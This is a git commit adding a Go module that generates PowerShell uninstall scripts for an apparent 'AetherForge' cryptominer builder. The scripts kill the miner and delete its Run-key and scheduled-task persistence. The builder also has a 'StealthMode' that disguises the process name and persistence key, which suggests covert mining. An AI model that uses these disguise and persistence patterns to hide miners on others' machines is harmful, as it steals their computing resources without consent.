Add fleet ops dashboard, Calibrate enforcement, and dead-code cleanup.
Ship live alerts, pool status, AI monitor, remote agent commands, build manager, and uninstall flow; wire Calibrate settings (WS ping, pool traffic log, retention limits) at runtime and exclude server/data from git.
This commit is contained in:
138
server/internal/builder/uninstall.go
Normal file
138
server/internal/builder/uninstall.go
Normal file
@@ -0,0 +1,138 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func persistenceKeyName(req *BuildRequest) string {
|
||||
if req.StealthMode {
|
||||
name := strings.TrimSpace(req.ProcessName)
|
||||
if name == "" {
|
||||
name = sanitizeFileName(req.WorkerName)
|
||||
}
|
||||
return name
|
||||
}
|
||||
name := sanitizeFileName(req.WorkerName)
|
||||
if name == "" {
|
||||
return "CryptoMinerAgent"
|
||||
}
|
||||
return "CryptoMiner-" + name
|
||||
}
|
||||
|
||||
func effectiveProcessName(req *BuildRequest) string {
|
||||
if strings.TrimSpace(req.ProcessName) != "" {
|
||||
return strings.TrimSpace(req.ProcessName)
|
||||
}
|
||||
name := sanitizeFileName(req.WorkerName)
|
||||
if name == "" {
|
||||
return "CryptoMinerWorker"
|
||||
}
|
||||
return name
|
||||
}
|
||||
|
||||
func expandInstallRelativePath(req *BuildRequest, buildID string) string {
|
||||
rel := strings.TrimSpace(req.InstallRelativePath)
|
||||
if rel == "" {
|
||||
rel = "CryptoMiner/{worker}-{build_short}"
|
||||
}
|
||||
shortBuild := buildID
|
||||
if len(shortBuild) > 8 {
|
||||
shortBuild = shortBuild[:8]
|
||||
}
|
||||
replacer := strings.NewReplacer(
|
||||
"{worker}", sanitizeFileName(req.WorkerName),
|
||||
"{build}", sanitizeFileName(buildID),
|
||||
"{build_short}", sanitizeFileName(shortBuild),
|
||||
"{process}", effectiveProcessName(req),
|
||||
)
|
||||
return strings.ReplaceAll(replacer.Replace(rel), "/", `\`)
|
||||
}
|
||||
|
||||
func resolveInstallBasePS(req *BuildRequest) string {
|
||||
switch strings.ToLower(strings.TrimSpace(req.InstallBase)) {
|
||||
case "appdata":
|
||||
return "$env:APPDATA"
|
||||
case "programdata":
|
||||
return "$env:ProgramData"
|
||||
case "userprofile":
|
||||
return "$env:USERPROFILE"
|
||||
case "temp":
|
||||
return "if ($env:TEMP) { $env:TEMP } else { $env:TMP }"
|
||||
case "custom":
|
||||
custom := strings.TrimSpace(req.InstallCustomBase)
|
||||
custom = strings.ReplaceAll(custom, "'", "''")
|
||||
return fmt.Sprintf("'%s'", custom)
|
||||
default:
|
||||
return "$env:LOCALAPPDATA"
|
||||
}
|
||||
}
|
||||
|
||||
func generateUninstallScript(buildID string, req *BuildRequest) string {
|
||||
processName := effectiveProcessName(req)
|
||||
persistenceKey := persistenceKeyName(req)
|
||||
installRel := expandInstallRelativePath(req, buildID)
|
||||
installBase := resolveInstallBasePS(req)
|
||||
|
||||
return fmt.Sprintf(`# AetherForge Miner Uninstaller
|
||||
# Worker: %s
|
||||
# Generated alongside forged installer — run as the same Windows user who installed the miner.
|
||||
|
||||
$ErrorActionPreference = 'SilentlyContinue'
|
||||
|
||||
$ProcessName = '%s'
|
||||
$PersistenceKey = '%s'
|
||||
$InstallBase = %s
|
||||
$InstallRel = '%s'
|
||||
$ExpectedInstallDir = Join-Path $InstallBase $InstallRel
|
||||
$ExpectedExe = Join-Path $ExpectedInstallDir ($ProcessName + '.exe')
|
||||
|
||||
Write-Host "Stopping miner process..."
|
||||
Get-Process -Name $ProcessName -ErrorAction SilentlyContinue | Stop-Process -Force
|
||||
|
||||
$InstallDir = $ExpectedInstallDir
|
||||
$InstalledTxt = Join-Path $ExpectedInstallDir 'installed.txt'
|
||||
if (Test-Path $InstalledTxt) {
|
||||
$content = Get-Content $InstalledTxt -Raw
|
||||
if ($content -match 'install_dir=(.+)') {
|
||||
$parsed = $Matches[1].Trim()
|
||||
if ($parsed) { $InstallDir = $parsed }
|
||||
}
|
||||
if ($content -match 'installed_exe=(.+)') {
|
||||
$parsedExe = $Matches[1].Trim()
|
||||
if ($parsedExe) { $ExpectedExe = $parsedExe }
|
||||
}
|
||||
}
|
||||
|
||||
if (Test-Path $ExpectedExe) {
|
||||
Get-Process | Where-Object { $_.Path -eq $ExpectedExe } | Stop-Process -Force
|
||||
}
|
||||
|
||||
Write-Host "Removing persistence..."
|
||||
Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name $PersistenceKey -ErrorAction SilentlyContinue
|
||||
|
||||
if ($true) {
|
||||
Unregister-ScheduledTask -TaskName $PersistenceKey -Confirm:$false -ErrorAction SilentlyContinue
|
||||
}
|
||||
|
||||
Write-Host "Removing install directory: $InstallDir"
|
||||
if ($InstallDir -and (Test-Path $InstallDir)) {
|
||||
Remove-Item -LiteralPath $InstallDir -Recurse -Force
|
||||
}
|
||||
|
||||
Write-Host "Done. Miner removed."
|
||||
if (%t) { Read-Host 'Press Enter to close' }
|
||||
`, req.WorkerName, processName, persistenceKey, installBase, strings.ReplaceAll(installRel, "'", "''"), !req.StealthMode)
|
||||
}
|
||||
|
||||
func (h *Handler) writeUninstallScript(buildDir string, buildID string, req *BuildRequest) (fileName, filePath string, err error) {
|
||||
fileName = fmt.Sprintf("uninstall-%s.ps1", sanitizeFileName(req.WorkerName))
|
||||
filePath = filepath.Join(buildDir, fileName)
|
||||
content := generateUninstallScript(buildID, req)
|
||||
if err := os.WriteFile(filePath, []byte(content), 0644); err != nil {
|
||||
return "", "", err
|
||||
}
|
||||
return fileName, filePath, nil
|
||||
}
|
||||
Reference in New Issue
Block a user